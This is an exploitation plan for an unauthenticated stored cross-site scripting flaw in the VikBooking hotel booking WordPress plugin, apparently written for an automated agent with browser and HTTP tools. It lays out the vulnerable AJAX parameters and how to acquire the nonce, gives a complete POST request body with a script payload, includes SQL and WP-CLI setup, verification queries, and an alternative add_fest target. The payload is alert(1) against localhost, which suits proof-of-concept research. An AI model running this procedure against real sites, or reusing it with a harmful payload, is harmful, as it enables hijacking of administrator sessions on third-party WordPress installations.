Exploitation Research Plan: CVE-2026-42683 (VikBooking Hotel Booking Engine & PMS)

1. Vulnerability Summary

The VikBooking Hotel Booking Engine & PMS plugin (versions <= 1.8.8) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin's Quotation system accepts user-supplied input (specifically customer details and message content) via unauthenticated AJAX endpoints and stores it in the database without sufficient sanitization. When an administrative user views the "Quotations" or "Booking Details" page in the WordPress dashboard, these stored scripts are executed in the admin's browser context.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: vbo_ajax_quote (inferred from controller name quote and common VikBooking AJAX routing) or vikbooking_ajax with controller=quote and task=save.
• Vulnerable Parameters:
  • quote[customer][first_name]
  • quote[customer][last_name]
  • quote[message][subject]
  • quote[message][content]
• Authentication: None (Privileges Required: None).
• Preconditions: The "Quotation" feature must be active (default in most configurations). A valid Room ID and Rate Plan ID are required to pass the solutions validation in admin/controllers/quote.php.

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php targeting the quote controller and save task.
2. Controller Logic (admin/controllers/quote.php):
   • The save() method is called.
   • It retrieves the quote array from $app->input->get('quote', [], 'array').
   • It validates "solutions" (check-in, check-out, room ID, etc.).
   • It calls $customerModel->save($customerInfo) to store the customer.
   • It calls $quoteModel->save([...]) using the data from $quote['message'].
3. Model Storage (admin/helpers/src/model/quote.php):
   • The preflight() method is called before saving. It sets created_by (defaults to 'User' for unauthenticated) and captures the attacker's IP.
   • The data is inserted into the #__vikbooking_quotations table using $this->tableName.
4. Sink (Admin View):
   • When an admin views the dashboard or the Quotations list, the model's loadBookingRecords() fetches the data.
   • The subject, message, and first_name fields are rendered in the admin UI. Based on the vulnerability report, these are not escaped using esc_html() or similar functions at the point of output.

4. Nonce Acquisition Strategy

The save() method in admin/controllers/quote.php performs a CSRF check using JSession::checkToken(). In VikBooking's WordPress implementation, this token is typically provided to the front-end to allow unauthenticated users to submit quotes.

Strategy:

1. Identify Entry Point: The "Request a Quote" functionality is usually embedded via the [vikbooking_room] shortcode or reachable via the search results.
2. Setup: Create a dummy room to ensure the script and nonce are enqueued.

   wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[vikbooking_search]'
   

3. Acquisition:
   • Navigate to the page using browser_navigate.
   • The nonce is typically stored in a global JavaScript object named vbo_params or vbo_quote_params.
   • JavaScript Variable: window.vbo_params?.vbo_token or a hidden input field named vbo_token.
   • Action String: The token check in JSession::checkToken() validates against the session-based token generated for the unauthenticated user.

5. Exploitation Strategy

1. Prepare Payload: Use a standard XSS payload targeting quote[message][subject].
   • Payload: <script>alert(document.domain)</script>
2. Identify Required IDs: Query the database for an existing Room ID and Rate Plan ID.
   • Room ID: SELECT id FROM wp_vikbooking_rooms LIMIT 1;
   • Rate Plan ID: SELECT id FROM wp_vikbooking_prices LIMIT 1;
3. Send Exploit Request: Use http_request to submit the quote.
   • URL: http://localhost:8080/wp-admin/admin-ajax.php?action=vikbooking_ajax&controller=quote&task=save
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     vbo_token=[EXTRACTED_NONCE]&quote[customer][first_name]=Attacker&quote[customer][email]=attacker@example.com&quote[message][subject]=<script>alert(1)</script>&quote[message][content]=Help&quote[solutions][0][checkin]=2025-12-01&quote[solutions][0][checkout]=2025-12-05&quote[solutions][0][rooms][0][id]=[ROOM_ID]&quote[solutions][0][rooms][0][id_price]=[RATE_ID]&quote[solutions][0][rooms][0][adults]=1&quote[solutions][0][rooms][0][room_cost]=100
     

6. Test Data Setup

1. Ensure Plugin is Active: wp plugin activate vikbooking
2. Create Required Entities:
   • Create a room: wp vikbooking room create --name="Luxury Suite" --units=5 (if CLI supports it) or via SQL:

     INSERT INTO `wp_vikbooking_rooms` (`name`, `units`, `avail`) VALUES ('Test Room', 1, 1);
     SET @room_id = LAST_INSERT_ID();
     INSERT INTO `wp_vikbooking_prices` (`idroom`, `name`, `price`) VALUES (@room_id, 'Standard Rate', 100);
     

3. Create Page: Create the page as described in Section 4 to trigger script localization.

7. Expected Results

• The AJAX request should return a 200 OK with a JSON object containing the id of the newly created quotation.
• The wp_vikbooking_quotations table should contain a row where the subject column is exactly <script>alert(1)</script>.
• When an admin navigates to /wp-admin/admin.php?page=vikbooking&view=quotations, the browser should trigger the alert.

8. Verification Steps

1. Check Database:

   wp db query "SELECT subject FROM wp_vikbooking_quotations WHERE first_name='Attacker'"
   

2. Confirm Unsanitized Storage: Verify that the output of the query shows the raw <script> tag, confirming the lack of sanitization in the VBOModelQuote::save path.

9. Alternative Approaches

If the quote controller is not reachable or requires higher privileges, target the add_fest method in VikBookingController (admin/controller.php):

• Task: add_fest
• Parameters: name, descr, dt.
• Note: This method is inside VikBookingController and is triggered via action=vikbooking_ajax&task=add_fest. If the main controller lacks the checkToken check (not visible in the provided snippet), it may be even easier to exploit.